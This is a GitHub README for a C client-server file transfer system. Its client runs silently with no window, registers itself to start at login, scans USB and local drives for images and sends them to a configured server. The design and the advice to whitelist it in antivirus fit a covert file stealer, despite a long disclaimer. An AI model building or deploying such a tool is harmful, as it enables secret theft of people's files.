Skip to content

3-Tokisaki-Kurumi/Remote-File-Retrieval-and-Acquisition

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

11 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

📁 文件远程传输获取系统

Remote File Transfer & Retrieval System (Client-Server)

基于 C 语言的高性能文件传输解决方案 | Windows 10/11 | CMake + MinGW

⚠️ 重要提示: 本系统仅供学习交流与研究使用。请确保在合法合规前提下使用。客户端静默运行,无UI提示。


🌍 Language / 语言: English | 简体中文


📚 目录


✨ 核心特性

客户端 (FileClient.exe) - 无窗口后台运行

特性 描述
🔌 USB热插拔 自动检测U盘插拔,动态调整优先级
五级优先级 USB大文件 > USB中文件 > 本地大 > 本地中 > 小文件
🔄 断点续传 失败自动重试(最多5次)+ 指数退避
🐘 超大文件 支持 4GB+ 文件传输 (64位操作)
🚀 开机自启 首次运行自动注册启动项
❤️ 连接保活 TCP KeepAlive 防止空闲断开

支持格式: PSD | BMP | JPG | JPEG | PNG(可自定义扩展)

文件过滤: 大于 6KB 的文件才会被传输

服务端 (FileServer.exe) - GUI窗口界面

特性 描述
🧵 多线程并发 每客户端独立线程处理
📊 实时进度 显示传输进度百分比
📜 日志记录 GUI显示 + 文件持久化存储
📥 ACK确认 接收成功发送确认给客户端
🌐 多客户端 同时接受多个连接

🏗️ 系统架构

┌─────────────────────┐         TCP (Port 9000)        ┌─────────────────────┐
│      CLIENT         │ ◄═════════════════════════► │      SERVER         │
│                     │                               │                     │
│  ┌───────────────┐  │                               │  ┌───────────────┐  │
│  │ File Scanner  │  │                               │  │ Server Thread │  │
│  │ (递归扫描)    │  │                               │  │ (监听连接)    │  │
│  └───────┬───────┘  │                               │  └───────┬───────┘  │
│          ▼          │                               │          ▼          │
│  ┌───────────────┐  │                               │  ┌───────────────┐  │
│  │ Task Queue    │  │                               │  │Client Handler │  │
│  │ (5级优先级)   │  │                               │  │(接收并保存)   │  │
│  └───────┬───────┘  │                               │  └───────┬───────┘  │
│          ▼          │                               │          ▼          │
│  ┌───────────────┐  │                               │  ┌───────────────┐  │
│  │Transmission   │  │                               │  │ File I/O      │  │
│  │ Thread        │  │                               │  │ (写入磁盘)    │  │
│  └───────────────┘  │                               │  └───────────────┘  │
│                     │                               │     + GUI 日志      │
└─────────────────────┘                               └─────────────────────┘

工作流程:

  1. 客户端启动 → 扫描 USB/D盘/固定驱动器
  2. 文件分类 → 构建优先级队列
  3. 连接服务器 → 发送元数据(大小+文件名)
  4. 分块传输文件内容(≤4MB/块)
  5. 服务端接收 → 写入磁盘 → 发送ACK确认

📦 环境要求

项目 要求
操作系统 Windows 10 (1903+) / Windows 11 (64位)
CMake ≥ 3.20
MinGW-w64 GCC ≥ 12.2.0
磁盘空间 >2x 预计传输文件总量
网络 局域网(客户端与服务端互通)

🔧 编译构建

方式一:CLion IDE(推荐)

  1. 打开项目: File → Open → 选择项目根目录
  2. 配置Toolchain: Settings → Build → Toolchains → 选择 MinGW
  3. 构建: Build → Build Project (Ctrl+F9)

输出位置:

  • 客户端: Client\build\Release\FileClient.exe
  • 服务端: Server\build\Release\FileServer.exe

方式二:命令行

# 构建客户端
cd Client
mkdir build && cd build
cmake -G "MinGW Makefiles" ..
cmake --build . --config Release

# 构建服务端
cd ..\..\Server
mkdir build && cd build
cmake -G "MinGW Makefiles" ..
cmake --build . --config Release

命令说明: 上述命令为标准CMake构建流程,在已安装 CMake (≥3.20) 和 MinGW-w64 GCC (≥12.2.0) 的 Windows 环境中可成功生成可执行文件。请确保环境变量PATH中包含CMake和MinGW的bin目录。


⚙️ 配置说明

客户端配置 (Client/main.c 第16-26行)

#define SERVER_IP               "192.168.1.100"  // ⚠️ 必须修改为服务器IP!
#define SERVER_PORT             9000              // 与服务端保持一致
#define BUFFER_SIZE             (4 * 1024 * 1024) // 传输缓冲区: 4MB
#define MAX_RETRIES             5                 // 最大重试次数
#define SIZE_30MB               (30 * 1024 * 1024) // 大文件阈值: 30MB

添加支持的文件类型 (第470行附近):

const char* allowed_ext[] = {
    ".psd", ".bmp", ".jpg", ".jpeg", ".png",
    // 在此添加新类型: ".gif", ".pdf", ".mp4" 等
};

服务端配置 (Server/server.c 第12-18行)

#define PORT 9000                      // 监听端口(与客户端一致)
#define SAVE_DIR "D:\\ReceivedFiles"   // 文件保存目录
#define LOG_FILE "D:\\server_log.txt"  // 日志文件路径
#define BUFFER_SIZE (4 * 1024 * 1024)  // 接收缓冲区: 4MB

⚡ 快速开始

步骤一:部署服务端

  1. 编辑配置: 修改 Server/server.c 中的 SAVE_DIRLOG_FILE 路径
  2. 编译: 见编译构建章节
  3. 运行: 双击 FileServer.exe
  4. 验证: 窗口显示 [INFO] Server is listening on port 9000

步骤二:部署客户端

  1. 编辑配置: 修改 Client/main.c 中的 SERVER_IP 为服务器实际IP
  2. 编译: 见编译构建章节
  3. 运行: 双击 FileClient.exe(无窗口,后台运行)
  4. 验证: 命令行显示 [INFO] 发现 X 个符合条件的文件

步骤三:测试传输

  1. 准备测试文件: 在U盘或D盘放入 .jpg/.png 等格式文件(>6KB)
  2. 观察服务端日志: 应显示 [PROGRESS] xxx - XX%[SUCCESS] Received xxx
  3. 检查接收目录: SAVE_DIR 目录下应出现完整文件

❓ 常见问题

Q1: 无法连接服务器?

检查清单:

  • ✅ 服务端是否正在运行?
  • ✅ 端口9000是否在监听?(netstat -an | findstr :9000)
  • ✅ IP地址是否正确?(ping测试)
  • ✅ 防火墙是否放行了端口9000?

快速修复:

# 添加防火墙规则(管理员权限)
netsh advfirewall firewall add rule name="FileTransfer" dir=in action=allow protocol=TCP localport=9000

Q2: 传输失败怎么办?

常见原因及解决方案:

原因 解决方案
网络中断 检查网线/WiFi,等待自动重试(最多5次)
磁盘空间不足 清理服务端磁盘或更换SAVE_DIR
杀毒软件拦截 将FileClient.exe和FileServer.exe添加白名单
文件被占用 关闭占用该文件的程序
缓冲区溢出 减小BUFFER_SIZE至2MB

Q3: USB插入没有反应?

诊断步骤:

  1. 以管理员权限运行客户端
  2. 插入U盘后观察命令行输出是否有 [INFO] USB device inserted
  3. 确保U盘格式为 NTFS/FAT32/exFAT
  4. 如果是虚拟机环境,需手动传递USB设备

Q4: 如何禁用开机自启?

方法一: 删除注册表项

Win+R → regedit → 导航到:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
删除 "Zafkiel" 键值

方法二: 命令行(Windows CMD 或 PowerShell)

reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Zafkiel /f

⚠️ 注意:

  • 在 Windows CMD/PowerShell 中,路径使用反斜杠 \ 即可,无需额外转义
  • /f 参数表示强制删除,无需确认提示
  • 此命令需要管理员权限才能执行

Q5: 如何修改端口?

同时修改两处并重新编译:

// Client/main.c
#define SERVER_PORT 9001

// Server/server.c
#define PORT 9001

📄 免责声明

⚖️ 法律声明与使用须知 - 请仔细阅读以下条款

一、版权与许可声明

© 2026 Remote File Transfer System. All rights reserved.

本软件(以下简称"本系统")及其相关文档、源代码的知识产权归作者所有。本系统以开源形式发布,遵循以下原则:

  1. 原样提供: 本软件按"原样"(AS-IS)提供,不提供任何形式的明示或暗示的保证,包括但不限于适销性、特定用途适用性、非侵权性的保证。
  2. 使用风险: 用户自行承担使用本系统的全部风险。作者不对因使用或无法使用本系统所造成的任何损失承担责任。
  3. 开源精神: 本系统遵循开源共享理念,欢迎学习交流,但请尊重作者的劳动成果和知识产权。

二、使用限制与禁止事项

🚫 严格禁止的行为:

禁止类别 详细说明 可能面临的法律后果
非法数据收集 未经他人明确同意,使用本系统收集、传输他人的私人文件、敏感数据、个人隐私信息 违反《中华人民共和国刑法》第285条(非法获取计算机信息系统数据罪),可能面临三年以上七年以下有期徒刑
商业间谍活动 将本系统用于窃取竞争对手的商业机密、技术文档、客户资料等 违反《反不正当竞争法》,可能承担民事赔偿责任及刑事责任
网络攻击工具 利用本系统的技术特点进行未授权访问、数据窃取、恶意软件分发等攻击行为 违反《网络安全法》第27条,可能面临罚款及刑事责任
侵犯隐私权 在他人不知情的情况下,自动收集并传输其个人文件、照片、通讯录等隐私信息 违反《民法典》第1032-1034条(隐私权保护),需承担民事赔偿责任
传播恶意内容 使用本系统传播病毒、木马、钓鱼文件、违法信息等恶意内容 违反《网络安全法》第46-48条,可能面临行政拘留及刑事责任

📋 合规使用要求:

  1. 企业内部使用: 如在企业环境中部署本系统用于合法的业务需求(如文件备份、数据同步),必须:
    • 制定明确的数据管理制度并获得IT部门审批
    • 告知所有相关人员系统的存在和工作原理
    • 确保不侵犯员工隐私权和公司信息安全政策
    • 定期审计传输记录,防止滥用
  2. 教育科研用途: 如将本系统用于教学演示、技术研究、学术实验,必须:
    • 明确标注仅用于教育目的
    • 不在真实生产环境中未经授权测试
    • 尊重数据所有权和隐私权
    • 研究成果引用时注明来源
  3. 个人学习使用: 个人在学习C语言编程、网络通信、系统开发等技术时使用本系统,应:
    • 仅在自有设备和自有数据上测试
    • 不对他人的设备或数据进行操作
    • 遵守法律法规和道德准则

三、数据安全与技术限制

⚠️ 当前版本的技术局限性:

安全风险 风险等级 详细说明 建议措施
无加密传输 🔴 高危 所有文件以明文形式在网络上传输,可能被中间人攻击截获 建议仅在内网/VPN环境下使用;未来版本计划添加TLS/SSL加密支持
无身份认证 🔴 高危 任何知道IP和端口的设备都可以连接服务端,缺乏身份验证机制 配置防火墙规则限制访问来源;建议添加Token或证书认证
明文存储密码 🟡 中危 配置文件中的IP地址、路径等信息以明文存储 使用后立即删除配置副本;避免提交到公开代码仓库
无访问控制 🟡 中危 缺乏用户权限管理、操作审计等功能 在可信网络中使用;定期审查日志文件
单点故障 🟢 低危 服务端崩溃会导致所有客户端无法传输 建议定期重启服务端;监控进程状态

🔒 敏感数据处理警告:

绝对禁止传输的数据类型(即使获得授权也不建议):

  • 🔴 银行账户信息、信用卡号、支付密码
  • 🔴 身份证件照片(身份证、护照、驾驶证)
  • 🔴 医疗健康记录、病历档案
  • 🔴 公司核心机密、商业合同、财务报表
  • 🔴 个人私密照片、视频、聊天记录
  • 🔴 密码、私钥、数字证书、加密种子

如必须传输敏感数据(已获明确书面授权):

  1. 使用独立的加密通道(如VPN、SSH隧道)包裹TCP连接
  2. 传输前对文件进行AES-256等强加密
  3. 传输完成后立即从两端删除临时文件
  4. 记录完整的操作日志备查
  5. 定期更换传输凭据和加密密钥

四、网络安全使用指南

✅ 推荐的安全实践:

  1. 网络环境隔离
    • 🟢 最佳实践: 在完全隔离的内网环境(物理隔离或VLAN隔离)中部署
    • 🟡 可接受: 通过VPN隧道连接远程服务端
    • 🟡 最低要求: 在受信任的家庭/办公室WiFi或有线网络中使用
    • 🔴 尽量禁止: 在公共WiFi(咖啡厅、机场、酒店)、不安全的开放网络中使用
  2. 防火墙配置示例
# Windows 防火墙高级配置(推荐)
netsh advfirewall firewall add rule name="FileTransfer-In" ^
    dir=in action=allow protocol=TCP localport=9000 ^
    remoteip=192.168.1.0/24 enable=yes profile=private

# 解释:
# - 只允许来自 192.168.1.0/24 子网的连接(内网IP段)
# - 仅在专用网络(Private Profile)下生效
# - 记录所有入站连接尝试便于审计
  1. 定期安全检查清单
    • 每周审查一次传输日志,查找异常连接
    • 每月更新一次操作系统补丁和安全软件
    • 每季度轮换一次服务端监听端口
    • 半年评估一次是否有更安全的替代方案
    • 及时关注本项目GitHub Releases页面获取安全更新
  2. 异常情况应对策略
    • 发现未知连接: 立即断开网络,检查系统是否被入侵
    • 文件丢失或损坏: 从备份恢复,排查是否存在恶意篡改
    • 性能突然下降: 检查是否遭受DoS攻击或资源耗尽攻击
    • 收到法律投诉: 立即停止使用,保留日志证据,咨询专业律师

五、法律责任与争议解决

  1. 责任限制条款
    • 作者仅对本系统的功能实现和技术正确性负责,不对以下情况承担责任:
      • 用户不当使用导致的法律责任
      • 第三方利用本系统进行违法活动
      • 数据泄露、丢失、损坏造成的经济损失
      • 系统漏洞被利用造成的次生灾害
      • 因网络中断、硬件故障等原因导致的服务不可用
    • 最高赔偿限额: 如经法院判决作者需承担赔偿责任,赔偿金额不超过用户购买本系统所支付的费用(本系统免费,故赔偿金额为0元)
  2. 适用法律与管辖
    • 本声明的订立、效力、解释、履行及争议解决均适用中华人民共和国法律
    • 因本声明引起的或与本声明有关的任何争议,双方应首先通过友好协商解决
    • 协商不成的,任何一方均有权向作者所在地有管辖权的人民法院提起诉讼
    • 诉讼过程中产生的费用(包括但不限于诉讼费、律师费、鉴定费、差旅费等)由败诉方承担
  3. 完整性条款
    • 本声明构成双方关于本系统使用的完整协议,取代之前的所有口头或书面协议
    • 如本声明的任何条款被认定为无效或不可执行,不影响其他条款的效力
    • 作者未行使或延迟行使本声明项下的任何权利,不构成对该权利的放弃
  4. 更新与通知
    • 作者保留随时修改本声明的权利,修改后的声明将在GitHub仓库中以新的Commit形式发布
    • 继续使用更新后的版本即表示您接受修改后的声明条款
    • 重大变更将通过GitHub Release Notes、Issue公告等方式提前30天通知
  5. 最终解释权
    • 本声明的最终解释权归作者所有
    • 如中文版本与其他语言版本存在冲突,以中文版本为准
    • 对本声明有任何疑问,请通过GitHub Issues功能联系作者

六、特别声明

🎓 学术诚信声明: 本系统可作为计算机科学、软件工程、网络安全等课程的教学案例,但学生不得直接复制源代码作为自己的作业或毕业设计提交。如需参考,请注明出处并理解实现原理后再独立完成。

♿ 无障碍使用声明: 本系统当前版本为命令行/GUI界面,暂不支持屏幕阅读器等辅助技术。未来版本将考虑增加无障碍功能支持。

🌍 国际化声明: 本系统当前仅支持简体中文界面和文档。欢迎社区贡献多语言支持(英文、日文、韩文等)。

🔄 向前兼容声明: 作者承诺在未来版本中保持配置文件格式、API接口、通信协议的向后兼容性。如需破坏性变更,将在Release Notes中明确说明并提供迁移指南。


文档最后更新日期: 2026年5月1日
联系方式: 请通过 GitHub Issues 提交问题和反馈

About

A cross platform file transfer system based on C language, supporting functions such as large file transfer, breakpoint retry, and device hot plug detection. The client automatically scans specified types of files and prioritizes transmission, while the server receives and saves the files.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors